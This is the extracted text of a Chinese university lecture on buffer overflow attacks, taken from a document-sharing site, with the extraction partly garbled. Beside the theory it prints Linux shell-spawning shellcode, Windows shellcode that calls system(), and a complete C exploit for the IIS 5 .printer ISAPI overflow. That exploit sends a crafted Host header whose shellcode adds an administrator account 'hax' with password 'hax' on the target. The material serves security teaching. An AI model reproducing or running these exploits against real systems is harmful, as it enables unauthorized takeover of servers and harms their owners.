网络安全5-缓冲区溢出攻击课件.ppt

上传人(卖家):三亚风情 文档编号:2941378 上传时间:2022-06-13 格式:PPT 页数:50 大小:156KB
下载 相关 举报
网络安全5-缓冲区溢出攻击课件.ppt_第1页
第1页 / 共50页
网络安全5-缓冲区溢出攻击课件.ppt_第2页
第2页 / 共50页
网络安全5-缓冲区溢出攻击课件.ppt_第3页
第3页 / 共50页
网络安全5-缓冲区溢出攻击课件.ppt_第4页
第4页 / 共50页
网络安全5-缓冲区溢出攻击课件.ppt_第5页
第5页 / 共50页
点击查看更多>>
资源描述

1、网络安全罗罗 敏敏 2第第4章章 拒绝服务攻击拒绝服务攻击 重点回顾重点回顾l拒绝服务攻击概述l拒绝服务攻击分类l服务端口攻击l电子邮件轰炸l分布式拒绝服务攻击DDoS3第第5章章 缓冲区溢出攻击缓冲区溢出攻击l本章介绍缓冲区溢出攻击的原理,通过具体实例分析攻击UNIX系统和攻击WINDOWS系统的特点和方法。 4第第5章章 缓冲区溢出攻击缓冲区溢出攻击l5.1 缓冲区溢出攻击的原理l5.2 缓冲区溢出程序的原理及要素l5.3 攻击UNIXl5.4 攻击WINDOWS5 缓冲区溢出攻击的原理缓冲区溢出攻击的原理l定义l缓冲区溢出攻击是一种通过往程序的缓冲区写超出其长度的内容,造成缓冲区溢出,从

2、而破坏程序的堆栈,使程序转而执行其他预设指令,以达到攻击目的的攻击方法 第第5 5章章 第第1 1节节6 缓冲区溢出攻击的原理缓冲区溢出攻击的原理lMorrisl1988年,美国康奈尔大学的计算机科学系研究生、23岁的莫里斯利用Unix fingered程序不限制输入长度的漏洞,输入512个字符后使缓冲器溢出,同时编写一段特别大的恶意程序能以root(根)身份执行,并感染到其他机器上。它造成全世界6000多台网络服务器瘫痪 第第5 5章章 第第1 1节节7 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理 l众所周知,C语言不进行数组的边界检查 l在许多C语言实现的应用程

3、序中,都假定缓冲区的长度是足够的,即它的长度肯定大于要拷贝的字符串的长度 事实并非如此事实并非如此第第5 5章章 第第2 2节节8 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理 程 序 段 数 据 段堆 栈第第5 5章章 第第2 2节节9 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理l例 1 void proc(int i) int local;local=i;void main()proc(1);main:push1call procproc:pushebpmovebp,espsubesp,4moveax,ebp+08movebp-4,ea

4、xaddesp,4popebpret4第第5 5章章 第第2 2节节10 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理l例 2void function(char void function(char * *str)str) char buffer16; char buffer16; strcpy(buffer,str); strcpy(buffer,str); void main()void main() int t; int t; char buffer128; char buffer128; for(i=0;i127;i+) for(i=0;i127;i+) b

5、ufferi=A bufferi=A; buffer127=0;buffer127=0; function(buffer); function(buffer); printf(This is a testn); printf(This is a testn); 第第5 5章章 第第2 2节节11 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理l例 2压入堆栈中传递的参数返回地址少量存储单元Buffer 16字节空间A A0 x41414141.16个A第第5 5章章 第第2 2节节12 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l为了执行一段精心准备的程序,需要4

6、个步骤l准备一段SHELLCODEl申请一个缓冲区,并将机器码填入缓冲区的低端l估算机器码在堆栈中的起始位置,并将这个位置写入缓冲区的高端l将这个缓冲区作为系统一个有着缓冲区溢出错误的程序的一个入口参数,并执行这个有错误的程序 第第5 5章章 第第2 2节节13 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l关键技术l在程序的地址空间安排适当的代码 l将控制程序转移到攻击代码的方式lFunction Pointers lActivation Records lLongjmp buffers l植入码和流程控制 l可执行的地址空间l代码段/数据段/堆栈段lJVM第第5 5章章 第第2 2节节

7、14 攻击攻击UNIXlUNIX操作系统简介 lFreeBSD文件系统的路径组织结构 / 根文件系统,用于存储系统内核,启动管理和其他文件系统的装载点。/bin 系统启动时需要的一些通用可执行程序。/cdrom 光盘驱动器的装载点。/compat 与系统兼容有关的内容,如系统模拟等。/dev 设备入口点。在UNIX系统上,每个设备都作为一个文件来看待,这里放着所有系统能够用到的各个设备/etc 各种配置文件。非常重要的一个目录,所有的配置文件(可以看成是WINDOWS的注册表)包括用户密码文档等存放在这里/mnt 软盘等其他文件系统的装载点。/modules 内核可装载模块。第第5 5章章 第

8、第3 3节节15 攻击攻击UNIXlUNIX操作系统简介 l文件系统的路径组织结构/proc 进程文件系统,存储指向当前活动进程的虚拟内存的伪文件。/root root用户的工作目录。/sbin 系统可执行文件。/stand 独立执行的程序,sysinstall就在这个目录下。在安装配置系统时用到/usr 第二个文件系统。基本上是和系统核心无关但又属于操作系统的一部分的一个目录,大多数的应用程序,还有各用户的私有资料存放在这个子系统/usr/bin 与系统启动无关的标准应用程序。/usr/sbin 系统启动时不需要使用的一些系统管理程序。 /usr/games 游戏。/usr/home 用户目

9、录。存放各个用户自己的文件。第第5 5章章 第第3 3节节16 攻击攻击UNIXlUNIX操作系统简介 l文件系统的路径组织结构/usr/include 程序需要的头文件。/usr/lib 程序需要的库文件。/usr/libexec 一些不由用户直接运行的执行程序,如ftpd telnetd 等服务程序 /usr/man 帮助文件 /usr/X11R6 X-Windows系统/usr/X11R6/bin 可执行的X-Windows程序/usr/X11R6/include X-Windows程序的头文件。/usr/X11R6/lib X-Windows程序的库文件。/usr/X11R6/man

10、X-Windows程序的帮助文件。第第5 5章章 第第3 3节节17 攻击攻击UNIXlUNIX操作系统简介 l文件系统的路径组织结构/usr/share 各种共享的只读文件,大多数是一些系统信息,文档,包括有FreeBSD手册等。/usr/local 第三个子文件系统,不属于FreeBSD一部分的其他程序。 /var 存储经常发生变化的文件,如邮件,日志等。/var/log 系统日志。/var/mail 发给用户的信件。/var/spool 缓冲数据,如打印数据等。/var/tmp 临时文件。第第5 5章章 第第3 3节节18 攻击攻击UNIXlUNIX操作系统简介 lUNIX系统的文件属性

11、和存取权限 #ls -la# -rw-rw-rw- 1 root wheel 170 jan 7 19:46 mnk# -rw-r- 1 root wheel 18204 jan 8 20:34 nmap.tar.gz# -rwxr-xr- 1 candy user 1204 may 23 13:00 mysh.sh# drwx- 2 netdemon user 512 may 23 14:23 mydoc|-1-|-2-|-3-|-4-|-5-|-6-|-7-|文件属性/文件数量/所有者/所属组/文件大小/文件修改时间/文件名第第5 5章章 第第3 3节节19 攻击攻击UNIXlUNIX操作

12、系统简介 l核与Shell的交互 l启动l登录l执行命令l退出第第5 5章章 第第3 3节节20 攻击攻击UNIXlUNIX操作系统简介 lShell的功能和特点 l命令行解释l使用保留字l使用Shell元字符(通配符)l可处理程序命令l使用输入输出重定向和管道l维护变量l运行环境控制l支持Shell编程第第5 5章章 第第3 3节节21 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 void main() char *name2;name0 = /bin/sh;name1 = NULL;execve(name0, name, NULL);第第5 5章章 第第3 3节

13、节22Dump of assembler code for function main:0 x8000130 : pushl %ebp0 x8000131 :movl %esp,%ebp0 x8000133 : subl $0 x8,%esp0 x8000136 : movl $0 x80027b8,0 xfffffff8(%ebp)0 x800013d : movl $0 x0,0 xfffffffc(%ebp)0 x8000144 : pushl $0 x00 x8000146 : leal 0 xfffffff8(%ebp),%eax0 x8000149 : pushl %eax0 x8

14、00014a : movl 0 xfffffff8(%ebp),%eax0 x800014d : pushl %eax0 x800014e : call 0 x80002bc 0 x8000153 : addl $0 xc,%esp0 x8000156 : movl %ebp,%esp0 x8000158 : popl %ebp0 x8000159 : ret第第5 5章章 第第3 3节节23Dump of assembler code for function _execve:0 x80002bc : pushl %ebp0 x80002bd : movl %esp,%ebp0 x80002

15、bf : pushl %ebx0 x80002c0 : movl $0 xb,%eax0 x80002c5 : movl 0 x8(%ebp),%ebx0 x80002c8 : movl 0 xc(%ebp),%ecx0 x80002cb : movl 0 x10(%ebp),%edx0 x80002ce : int $0 x800 x80002d0 : movl %eax,%edx0 x80002d2 : testl %edx,%edx0 x80002d4 : jnl 0 x80002e6 第第5 5章章 第第3 3节节240 x80002d6 : negl %edx0 x80002d8 :

16、 pushl %edx0 x80002d9 : call 0 x8001a34 0 x80002de : popl %edx0 x80002df : movl %edx,(%eax)0 x80002e1 : movl $0 xffffffff,%eax0 x80002e6 : popl %ebx0 x80002e7 : movl %ebp,%esp0 x80002e9 : popl %ebp0 x80002ea : ret0 x80002eb : nop第第5 5章章 第第3 3节节25 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序leal strin

17、g,string_addrmovl $0 x0,null_addrmovl $0 xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0 x80stringdb/bin/sh,0string_addrdd0null_addrdd0第第5 5章章 第第3 3节节26 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移jmp 0 x20popl esimovb $0 x0,0 x7(%esi)movl %esi,0 x8(%esi)movl $0 x0,0

18、 xC(%esi)movl $0 xb,%eaxmovl %esi,%ebxleal 0 x8(%esi),%ecxleal 0 xC(%esi),%edxint $0 x80call -0 x25string db /bin/sh,0 string_addr dd 0null_addr dd 0 第第5 5章章 第第3 3节节27 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0void main() _asm_(jmp 0 x18/ # 2 bytespopl %esi/ # 1 bytemovl %esi,0 x8(%esi)/

19、# 3 bytesxorl %eax,%eax/ # 2 bytesmovb %eax,0 x7(%esi)/ # 3 bytesmovl %eax,0 xc(%esi)/ # 3 bytesmovb $0 xb,%al/ # 2 bytesmovl %esi,%ebx/ # 2 bytesleal 0 x8(%esi),%ecx/ # 3 bytesleal 0 xc(%esi),%edx/ # 3 bytesint$0 x80/ # 2 bytescall -0 x2d/ # 5 bytesstring /bin/sh/ # 8 bytes);第第5 5章章 第第3 3节节28 攻击攻击U

20、NIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0l机器代码xebx18x5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh第第5 5章章 第第3 3节节29 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0l机器代码l攻击程序第第5 5章章 第第3 3节节30char shellcode =xebx18x5ex89x76x08x31xc0 x88x4

21、6x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh;char large_string128;void main()char buffer96;int i;long *long_ptr = (long *) large_string; /* long_ptr指向指向largestring的起始地址的起始地址 */for(i=0;i32;i+) *(long_ptr+i)=(int)buffer; /* 用用buffer的地址填充的地址填充long_ptr */for(i=0;istrlen(shel

22、lcode);i+) large_stringi=shellcodei; /* 将将ShellCode放在放在large_string*/strcpy(buffer,large_string); 第第5 5章章 第第3 3节节31 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0l机器代码l攻击程序lNOP填充/尝试地址第第5 5章章 第第3 3节节32 攻击攻击WINDOWSl与UNIX的不同lWINDOWS系统的用户进程空间是0-2G,操作系统所占的空间为2-4Gl用户进程的加载位置为:0 x00400000l这个进程的所有指令地址

23、,数据地址和堆栈指针都会含有0,那么我们的返回地址就必然含有0第第5 5章章 第第4 4节节33 攻击攻击WINDOWSl与UNIX的不同lShellcode 的模式lNNNNSSSSAAAAAA lNNNNAAAAAASSSS第第5 5章章 第第4 4节节34 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcode#include#includetypedef void (*MYPROC)(LPSTR);int main() HINSTANCE LibHandle; MYPROC ProcAdd; Char dllbuf11=”msvcrt.dll”; Char sysb

24、uf7=”system”; Char cmdbuf16=”; LibHandle=LoadLibrary(dllbuf); ProcAdd=(MYPROC)GetProcAddess(Libhandle,sysbuf); (PocAdd)(cmdbuf); return 0;第第5 5章章 第第4 4节节35 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcodel汇编程序第第5 5章章 第第4 4节节36#include #include void main(void)LoadLibrary(msvcrt.dll);_asmmov esp, ebp/* 把把ebp的内容赋

25、值给的内容赋值给esp */push ebp/* 保存保存ebp,esp-4 */mov ebp, esp/* 给给ebp赋新值赋新值,作为局部变量的基指针作为局部变量的基指针 */xor edi, edipush edi/* 压入压入0,esp-4作用是构造字符串的结尾作用是构造字符串的结尾0字字符。符。*/sub esp, 08h/* 加上上面加上上面,共有共有12个字节个字节,用来存放用来存放 */mov byte ptrebp - 0ch, 63hmov byte ptrebp - 0bh, 6fh第第5 5章章 第第4 4节节37mov byte ptrebp - 0ah, 6dhm

26、ov byte ptrebp - 09h, 6Dhmov byte ptrebp - 08h, 61hmov byte ptrebp - 07h, 6ehmov byte ptrebp - 06h, 64hmov byte ptrebp - 05h, 2Ehmov byte ptrebp - 04h, 63hmov byte ptrebp - 03h, 6fhmov byte ptrebp - 02h, 6dh/* 生成串生成串 */lea eax, ebp - 0chpush eax/* 串地址作为参数入栈串地址作为参数入栈 */mov eax, 0 x78019824call eax/*

27、调用调用system */第第5 5章章 第第4 4节节38 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcodel汇编程序l机器代码第第5 5章章 第第4 4节节39char shellcode=0 x8B,0 xEC,/* mov esp,ebp */0 x55,/* push ebp */0 x8B,0 xEC,0 x0C,/* sub esp,0000000C */0 xB8,0 x63,0 x6F,0 x6d,/* mov eax,6D6D6F63 */ 0 x89,0 x45,0 xF4,/* mov dword ptrebp-0C,eax */0 xB8,0

28、 x61,0 x6E,0 x64,0 x2E,/* mov eax,2E646E61 */0 x89,0 x45,0 xF8,/*mov dword ptrebp-08,eax */0 xB8,0 x63,0 x6F,0 x6D,0 x22,/* mov eax,226D6F63 */0 x89,0 x45,0 xFC,/* mov dword ptrebp-04,eax */0 x33,0 xD2,/* xor edx,edx */0 x88,0 x55,0 xFF,/* mov byte ptrebp-01,dl */0 x8D,0 x45,0 xF4,/* lea eax,dword p

29、trebp-0C */0 x50,/* push eax */0 xB8,0 x24,0 x98,0 x01,0 x78,/* mov eax,78019824 */oxFF,0 xD0/* call eax */; 第第5 5章章 第第4 4节节40 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcodel汇编程序l机器代码l攻击lWINDOWS 2000 IIS 5 lISAPI msw3prt.dll l攻击程序第第5 5章章 第第4 4节节41#include #include #include #include #include void usage(void)p

30、rintf(ncniis-IIS5 Chinese version.printer remote exploitn);printf(Usage:cniisn);exit(1);第第5 5章章 第第4 4节节42main(int argc, char *argv)/* 这段Shellcode所做的就是把net user hax hax/add&net localgroup Administrators hax/add压入堆栈, 然后调用system()来执行上面的命令, 即增添一个管理员帐号hax */unsigned charshellcode = x55x53x8BxECx33xDBx53x

31、83xECx3CxB8x6Ex65x74x20 x89x45xC3xB8x75x73x65x72x89x45xC7xB8x20 x68x61x78x89x45xCBx89x45xCFxB8x20 x2Fx61x64x89x45xD3xB8x64x26x6Ex65x89x45xD7xB8x74x20 x6Cx6Fx89x45xDBxB8x63x61x6Cx67x89x45xDFxB8x72x6Fx75x70 x89x45xE3xB8x20 x41x64x6Dx89x45xE7xB8x69x6Ex69x73x89x45xEBxB8x74x72x61x74x89x45xEFxB8x6Fx72x73x

32、20 x89x45xF3xB8x68x61x78x20 x89x45xF7xB8x2F61x64x64x89x45xFBx8Dx45xC3x50 xB8xADxAAx01x78xFFxD0 x8BxE5x5Bx5Dx03x03x03;第第5 5章章 第第4 4节节43charrequest = GET/NULL.printer HTTP/1.0;charsploit857;char*finger;inti, X, sock;unsigned shortserverport = htons(80);struct hostent*nametocheck;struct sockaddr_inserv

33、_addr;struct in_addrattack;WORDwerd;WSADATAwsd;第第5 5章章 第第4 4节节44werd = MAKEWORD(2, 0);WSAStartup(werd, &wsd);if(argc h_addr_list0, 4);memcpy(sploit, request, 26);finger = &sploit26;*(finger+) = 0 x0d;*(finger+) = 0 x0a;*(finger+) = H;*(finger+) = o;*(finger+) = s;*(finger+) = t;*(finger+) = :;*(fing

34、er+) = ;第第5 5章章 第第4 4节节45/* 溢出串放在Host:后面 */for(i = 0; i 268; i+) *(finger+) = (char) 0 x90;*(finger+) = (char) 0 x2a;*(finger+) = (char) 0 xe3;*(finger+) = (char) 0 xe2;*(finger+) = (char) 0 x77;/* 这里就User32.dll(5.0.2180.1)中jmp esp的位置, 用它来覆盖返回地址 */第第5 5章章 第第4 4节节46/* 把shellcode放在返回地址的后面 */*(finger+)

35、 = (char) 0 x90;*(finger+) = (char) 0 x90;*(finger+) = (char) 0 x90;*(finger+) = (char) 0 x90;for(i = 0; shellcodei != 0 x00; i+) *(finger+) = shellcodei;*(finger+) = 0 x0d;*(finger+) = 0 x0a;*(finger+) = 0 x0d;*(finger+) = 0 x0a;*(finger+) = 0 x00;第第5 5章章 第第4 4节节47sock = socket(AF_INET, SOCK_STREAM

36、, 0);memset(&serv_addr, 0, sizeof(serv_addr);serv_addr.sin_family = AF_INET;serv_addr.sin_addr.s_addr = attack.s_addr;serv_addr.sin_port = serverport;X = connect(sock, (struct sockaddr *) &serv_addr, sizeof(serv_addr);if(X != 0)printf(Couldnt connectn, inet_ntoa(attack);第第5 5章章 第第4 4节节48send(sock, s

37、ploit, strlen(sploit), 0);/* 把溢出串发送到被攻击主机的80端口 */Sleep(1000);printf(nShellcode sended!n);printf(If success, the target host will add a Admin User named hax, its passwd is hax.n);printf(Good luck!nn);closesocket(sock);return 0;第第5 5章章 第第4 4节节49缓冲区溢出攻击缓冲区溢出攻击l缓冲区溢出攻击的基本原理、方法l缓冲区溢出程序的原理及要素l攻击UNIXl攻击WINDOWS第第5 5章章 小结小结50第第5章章 缓冲区溢出习题缓冲区溢出习题l课后习题lUNIX系统下,怎样使黑客即使成功溢出也不能获得root权限? l在WINDOWS下的缓冲区溢出方法与UNIX下有什么不同? l想一想printf()系列函数中有哪些可以利用来进行缓冲区溢出攻击的漏洞?第第5 5章章 习题习题

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 办公、行业 > 各类PPT课件(模板)
版权提示 | 免责声明

1,本文(网络安全5-缓冲区溢出攻击课件.ppt)为本站会员(三亚风情)主动上传,163文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。
2,用户下载本文档,所消耗的文币(积分)将全额增加到上传者的账号。
3, 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(发送邮件至3464097650@qq.com或直接QQ联系客服),我们立即给予删除!


侵权处理QQ:3464097650--上传资料QQ:3464097650

【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。


163文库-Www.163Wenku.Com |网站地图|